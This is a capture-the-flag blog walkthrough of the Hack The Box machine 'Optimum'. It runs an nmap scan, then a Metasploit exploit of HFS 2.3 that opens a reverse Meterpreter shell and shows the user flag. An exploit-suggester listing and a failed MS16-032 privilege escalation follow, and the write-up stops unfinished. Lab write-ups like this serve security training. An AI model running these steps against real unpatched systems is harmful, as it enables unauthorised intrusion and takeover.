18 January 2022

Pentesting Fun Stuff

following the cyber security path…

Optimum

Introduction

This write-up is not public because of the restrictions given by the HTB team.

Getting Started

I start with a nmap scan to see which ports are open en what services are running on them.

root@kaiposecurity:~# nmap -A -T4 -p1-1024 10.10.10.8
Starting Nmap 7.60 ( https://nmap.org ) at 2017-09-18 21:46 CEST
Nmap scan report for 10.10.10.8
Host is up (0.34s latency).
Not shown: 1023 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   22.79 ms  10.10.14.1
2   149.34 ms 10.10.10.8
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 161.80 seconds

When I take a look at the webserver it runs Http File Server version 2.3. According to exploit-db there is a metasploit exploit available. It seems that Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. This module exploit the HFS scripting commands by using ‘%00’ to bypass the filtering. This module has been tested successfully on HFS 2.3b over Windows XP SP3, Windows 7 SP1 and Windows 8.
Time to load up msfconsole and get the right exploit module.

Module options (exploit/windows/http/rejetto_hfs_exec):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               no        Seconds to wait before terminating web server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                       yes       The target address
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The path of the web application
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf exploit(rejetto_hfs_exec) > set rhost 10.10.10.8
rhost => 10.10.10.8
msf exploit(rejetto_hfs_exec) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf exploit(rejetto_hfs_exec) > exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.14.4:4444
[*] Using URL: http://0.0.0.0:8080/29KDADSCj
msf exploit(rejetto_hfs_exec) > [*] Local IP: http://192.168.229.129:8080/29KDADSCj
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /29KDADSCj
[*] Sending stage (179267 bytes) to 10.10.10.8
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.8:49172) at 2017-10-04 10:14:32 +0200
[!] Tried to delete %TEMP%\lkgkacgQfXu.vbs, unknown result
[*] Server stopped.
msf exploit(rejetto_hfs_exec) > sessions
Active sessions
===============
  Id  Type                     Information               Connection
  --  ----                     -----------               ----------
  1   meterpreter x86/windows  OPTIMUM\kostas @ OPTIMUM  10.10.14.4:4444 -> 10.10.10.8:49172 (10.10.10.8)

Moving onward.

meterpreter > shell
Process 1776 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D0BC-0196
 Directory of C:\Users\kostas\Desktop
04/10/2017  12:59 ��    <DIR>          .
04/10/2017  12:59 ��    <DIR>          ..
04/10/2017  08:14 ��    <DIR>          %TEMP%
18/03/2017  03:11 ��           760.320 hfs.exe
18/03/2017  03:13 ��                32 user.txt.txt
               2 File(s)        760.352 bytes
               3 Dir(s)  32.048.054.272 bytes free
C:\Users\kostas\Desktop>type user.txt.txt
type user.txt.txt
d0c39409d7b994a9a1389ebf38ef5f73

And there is the hash to show I own the user. Now for owning the system.

meterpreter > sysinfo
Computer        : OPTIMUM
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : el_GR
Domain          : HTB
Logged On Users : 1
Meterpreter     : x86/windows

After a quick look at exploit-db there is an interesting exploit which I try next. But the architecture of my meterpreter shell is wrong. So first I need to migrate the process.
Because I now have migrated my meterpreter session into a process that isn’t likely to be shutdown, I can get some recon on the system and try to get elevated rights. For this I use winsploit. To get this to work I copy the systeminfo from the windows machine to a local file. And from there I run the program.

[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ISO-8859-1)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2012 R2 64-bit'
[*]
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*]   https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*]   https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*]   https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*]
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*]   https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*]
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*]   https://github.com/foxglovesec/RottenPotato
[*]   https://github.com/Kevin-Robertson/Tater
[*]   https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*]   https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*]
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*]   https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*]   https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*]
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*]   https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*]
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*]   https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*]   https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*]   https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*]
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*]   https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
[*]   https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
[*]
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important
[*]   Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*]
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important
[*]   https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*]   https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC
[*]
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important
[*]   https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
[*]   https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
[*]
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical
[*]   https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
[*]
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important
[*]   https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
[*]
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
[*]   https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
[*]
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical
[*]   https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC
[*]
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical
[*]   https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow
[*]
[E] MS15-052: Vulnerability in Windows Kernel Could Allow Security Feature Bypass (3050514) - Important
[*]   https://www.exploit-db.com/exploits/37052/ -- Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
[*]
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*]   https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*]   https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*]
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*]
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
[*]   http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
[*]
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*]   http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*]
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*]   https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*]   http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*]   http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*]   http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*]   http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*]   http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*]   http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*]
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[*] done

There are a lot of false-positives, but because I know what version is running I can narrow my search.

[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*]   https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*]   https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*]   https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)

Lets check exploit-db for the exploit.

Module options (exploit/windows/local/ms16_032_secondary_logon_handle_privesc):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
Exploit target:
   Id  Name
   --  ----
   1   Windows x64
msf exploit(ms16_032_secondary_logon_handle_privesc) > set session 1
session => 1
msf exploit(ms16_032_secondary_logon_handle_privesc) > exploit
[*] Started reverse TCP handler on 192.168.229.129:4444
[-] Exploit failed: Rex::Post::Meterpreter::RequestError core_channel_open: Operation failed: Access is denied.
[+] Cleaned up C:\Windows\AZnPHvmw.txt
[*] Exploit completed, but no session was created.

That’s not good. Let’s check the exploit.
tyest
 

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